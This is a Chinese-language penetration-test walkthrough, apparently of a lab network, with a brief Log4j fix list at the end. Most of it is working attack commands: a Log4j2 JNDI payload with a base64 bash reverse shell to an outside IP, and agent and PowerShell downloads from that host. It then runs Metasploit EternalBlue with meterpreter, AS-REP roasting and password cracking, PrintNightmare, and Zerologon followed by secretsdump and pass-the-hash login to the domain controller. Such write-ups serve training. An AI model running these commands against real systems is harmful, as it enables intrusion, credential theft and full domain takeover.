一 .利用 log4j2 漏洞获取目标机权限
1.信息搜集
访问目标端口,寻找可能存在的漏洞
2.反弹shell
cd /opt/Tools/Log4j2_shell
echo -n 'bash -i >& /dev/tcp/123.180.208.153/7777 0>&1' | base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64 编码的结果}|{base64,-d}|{bash,-i}" -A "IP"
#运行 exp,攻击 机构造恶意 rmi
nc -lvvp 7777 #开启监听
浏览器访问 http://10.0.0.11:8080/hello,同时使用 burpsuite 截取这个 请求包
在 burpsuite 中修改 GET 请求为 POST 请求并发送到 repeater
payload=${jndi:rmi://123.180.208.153:1099/yqlyui} #构造 payload 让目 标加载恶意类
成功获取反弹 shell
成功获取用户名和密码
二.利用永恒之蓝漏洞进行内网渗透
1、内网信息收集
(1)观察是否为 docker 环
cat /proc/1/cgroup
(2)收集敏感信息
(3)联系之前外网收集时发现目标(10.0.0.11)22 端口开放,尝试 远程登录
利用ssh连接 ssh root@10.0.0.1
(4)查看路由信息发现 10.10.30.0/24 网段
cat /etc/netplan/00-installer-config.yaml
(5)使用 for 循环发现存活主机
for i in 10.10.30.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
2、内网渗透
(1)将 agent_linux_x64 通过 ssh 上传 1
切换到 Venom 工具目录
cd /opt/Tools/TunnelTools/Venom
开启http服务
python3 -m http.server
在 10.0.0.11 上下载 agent_linux_x64
wget http://123.180.208.153:8000/agent_linux_x64
赋予agent_linux_x64执行权限
chmod 777 agent_linux_x64
(2)在 kali 上使用 admin_linux_x64 连接 admin_linux_x64
./admin_linux_x64 -lport 12000
./agent_linux_x64 -rhost 123.180.208.153 -rport 12000
(3)使用 venom 开启 socks5 代
vim /etc/proxychains4.conf #攻击机配置代理文
(4)使用 proxychains代理开始攻击
proxychains msfconsole
(1)使用 smb 版本探测模块对 10.10.30.0/24 进行初步探测
use auxiliary/scanner/smb/smb_version
set rhosts 10.10.30.0/24
run
发现 10.10.30.21 开放了 smb 相关端口
(2)使用 ms17-010 模块进行扫描,进一步探测是否存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.30.21
run
发现存在永恒之蓝漏洞
(3)使用永恒之蓝攻击模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 10.10.30.21
run
成功获取目标(10.10.30.21)权限
(4)对目标(10.10.30.21)进行信息收集
sysinfo
发现存在域环境,尝试使用mimikatz 获取 10.10.30.21 的账户密码
发现此时需要等待目标登录后采后获取到密码
使用cs来定位域控 ip
三.获取域控权限
1.结合收集到的ip和账户密码,利用脚本获取域控
cd /opt/Tools/ActiveDirectoryTools/sam-the-admin
proxychains python3 sam_the_admin.py "zwxa/scoot:Password123" -dc-ip 10.10.40.21 -shell
2、利用CVE-2021-1675漏洞
(1)ldap 匿名访问搜集账户
ldapsearch -H ldap://10.10.40.21 -x -b DC=zwxa,DC=com "(objectClass=person)" | grep "sAMAccountName:" | awk -F ":" '{print $2}' > users.txt
(2)寻找不需要预身份验证的用户并利用脚本获取密码
impacket-GetNPUsers zwxa.com/ -usersfile users.txt -dc-ip 10.10.40.21
(3)破解获得的加密密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash
(4)使用 evil-winrm 登录目标
evil-winrm -i 10.10.40.21 -u 'scoot' -p 'Password123‘
(5)CVE-2021-1675 提权,创建 adm1n 的管理
cd /opt/Tools/ActiveDirectoryTools/CVE-2021-1675
python3 -m http.server
iex(new-object system.net.webclient).downloadstring('http://123.180.208.153:8000/CVE -2021-1675.ps1')
evil-winrm -i 10.10.40.21 -u 'adm1n' -p 'P@ssw0rd' net localgroup administrators
3、利用CVE-2020-1472
(1)使用脚本将域控机器账户密码置换成空
cd /opt/Tools/ActiveDirectoryTools/CVE-2020-1472
python3 cve-2020-1472-exploit.py -n domain -t 10.10.40.21
(2)获取 administrator hash
impacket-secretsdump zwxa/domain$@10.10.40.21 -no-pass
(3)wmiexec 登录
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:6136ba14352C8a09405bb14912797793 zwxa/administrator@10.10.40.21
此时成功获取到域控权限
四、修复方案
1.升级到 log4j 2.15.0 及以上
2.添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true
3.修改配置文件 log4j2.formatMsgNoLookups=True
4.修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
5.关闭应用对外的网络连